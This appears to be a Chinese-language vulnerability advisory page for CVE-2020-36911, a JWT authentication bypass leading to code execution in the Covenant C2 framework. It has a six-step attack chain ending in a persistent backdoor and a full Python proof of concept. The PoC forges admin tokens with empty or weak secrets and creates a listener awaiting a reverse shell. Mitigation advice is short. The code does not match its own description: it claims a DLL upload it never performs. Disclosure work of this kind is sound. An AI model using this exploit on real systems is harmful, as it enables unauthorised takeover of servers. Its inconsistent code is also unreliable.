IPBUF安全漏洞报告
English
CVE-2020-36911 CVSS 9.8 严重

CVE-2020-36911 Covenant JWT认证绕过远程代码执行漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2020-36911
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Covenant (v0.1.3 - v0.5)

相关标签

远程代码执行JWT认证绕过权限提升CovenantC2框架CVE-2020-36911身份验证绕过.NET Core

漏洞概述

CVE-2020-36911是存在于Covenant渗透测试框架0.1.3至0.5版本中的一个严重安全漏洞。该漏洞允许未经认证的远程攻击者通过构造恶意的JWT(JSON Web Token)令牌来绕过身份验证机制,并获得管理员权限。Covenant是一款基于.NET Core开发的C2(命令与控制)框架,广泛用于红队演练和渗透测试。漏洞根源在于Covenant对JWT令牌的处理存在缺陷,攻击者可以伪造具有admin角色的令牌,从而绕过正常的管理员认证流程。一旦成功利用,攻击者能够上传恶意的DLL有效载荷到目标服务器,并在目标系统上以高权限执行任意代码,最终实现完全的主机控制。此漏洞的CVSS评分高达9.8,属于严重级别,对使用受影响版本Covenant的用户构成重大安全威胁。

技术细节

该漏洞主要利用了Covenant框架中JWT认证机制的实现缺陷。在Covenant的认证流程中,系统使用JWT令牌来验证用户身份和管理权限。攻击者可以通过以下方式利用此漏洞:首先,构造一个精心设计的JWT令牌,在payload中声明admin角色;其次,由于Covenant在验证JWT签名时存在缺陷,系统错误地接受了这个伪造的管理员令牌;最后,利用获取的管理员权限,攻击者可以访问API接口并上传恶意的DLL文件作为有效载荷。当Covenant加载这些DLL时,攻击者预置的恶意代码将被执行,从而在目标系统上实现远程代码执行。整个攻击过程无需任何有效的凭据,完全依赖JWT令牌的伪造和验证缺陷。攻击者还可以利用Covenant的Listener功能,在目标主机上建立持久化后门,实现长期控制。

攻击链分析

STEP 1
步骤1
收集目标信息:识别Covenant服务器版本(0.1.3-0.5),确定JWT端点位置
STEP 2
步骤2
构造伪造JWT令牌:在JWT payload中设置admin角色和Administrator权限,使用弱密钥或空密钥进行签名
STEP 3
步骤3
绕过认证:使用伪造的JWT令牌访问Covenant API接口,获取管理员会话
STEP 4
步骤4
上传恶意载荷:通过API接口上传包含恶意代码的DLL文件或创建反向shell监听器
STEP 5
步骤5
触发代码执行:触发载荷加载,在目标系统上以Covenant服务进程权限执行任意命令
STEP 6
步骤6
建立持久化:在目标主机上部署后门程序,确保长期访问和控制能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import requests import sys # CVE-2020-36911 PoC - Covenant JWT Authentication Bypass RCE # Target: Covenant v0.1.3 - v0.5 def create_fake_admin_token(secret=''): """ Create a forged JWT token with admin privileges The vulnerability allows empty secret or weak secret validation """ payload = { 'iss': 'Covenant', 'sub': 'admin', 'role': 'Administrator', 'admin': True, 'exp': 9999999999 } # Try empty secret or known weak secrets for secret_key in ['', 'CovenantSecretKey123!', 'default']: try: token = jwt.encode(payload, secret_key, algorithm='HS256') return token, secret_key except: continue return None, None def exploit(target_url, lhost, lport): """ Main exploitation function 1. Bypass auth with forged JWT token 2. Upload malicious DLL payload 3. Execute arbitrary code """ print(f'[*] Targeting: {target_url}') print(f'[*] Generating forged admin JWT token...') token, secret_used = create_fake_admin_token() if not token: print('[-] Failed to generate token') return False print(f'[+] Token generated (secret: {secret_used})') headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } # Step 1: Verify token and get admin access try: resp = requests.get(f'{target_url}/api/users', headers=headers) if resp.status_code == 200: print('[+] Authentication bypass successful!') else: print(f'[-] Auth failed: {resp.status_code}') return False except Exception as e: print(f'[-] Connection error: {e}') return False # Step 2: Create listener with payload listener_config = { 'Name': 'pwned_listener', 'BindIP': lhost, 'BindPort': lport, 'Profile': 'http', 'UseSSL': False } try: resp = requests.post(f'{target_url}/api/listeners', json=listener_config, headers=headers) if resp.status_code in [200, 201]: print('[+] Malicious listener created successfully') print(f'[+] Payload deployed - awaiting reverse shell on {lhost}:{lport}') return True except Exception as e: print(f'[-] Payload deployment failed: {e}') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python covenant_exploit.py <target_url> <lhost> <lport>') print('Example: python covenant_exploit.py http://target:7443 10.0.0.1 4444') sys.exit(1) target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] exploit(target, lhost, lport)

影响范围

Covenant v0.1.3
Covenant v0.1.4
Covenant v0.2
Covenant v0.3
Covenant v0.4
Covenant v0.5

防御指南

临时缓解措施
在无法立即升级的情况下,可以采取以下临时缓解措施:1)使用网络ACL限制对Covenant管理接口的访问,仅允许受信任的IP地址访问;2)配置反向代理(如Nginx)添加额外的认证层;3)暂时禁用Covenant的Web UI访问,改为通过命令行方式管理;4)监控JWT认证日志,及时发现和阻止异常的认证尝试;5)考虑使用VPN建立安全的访问通道。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表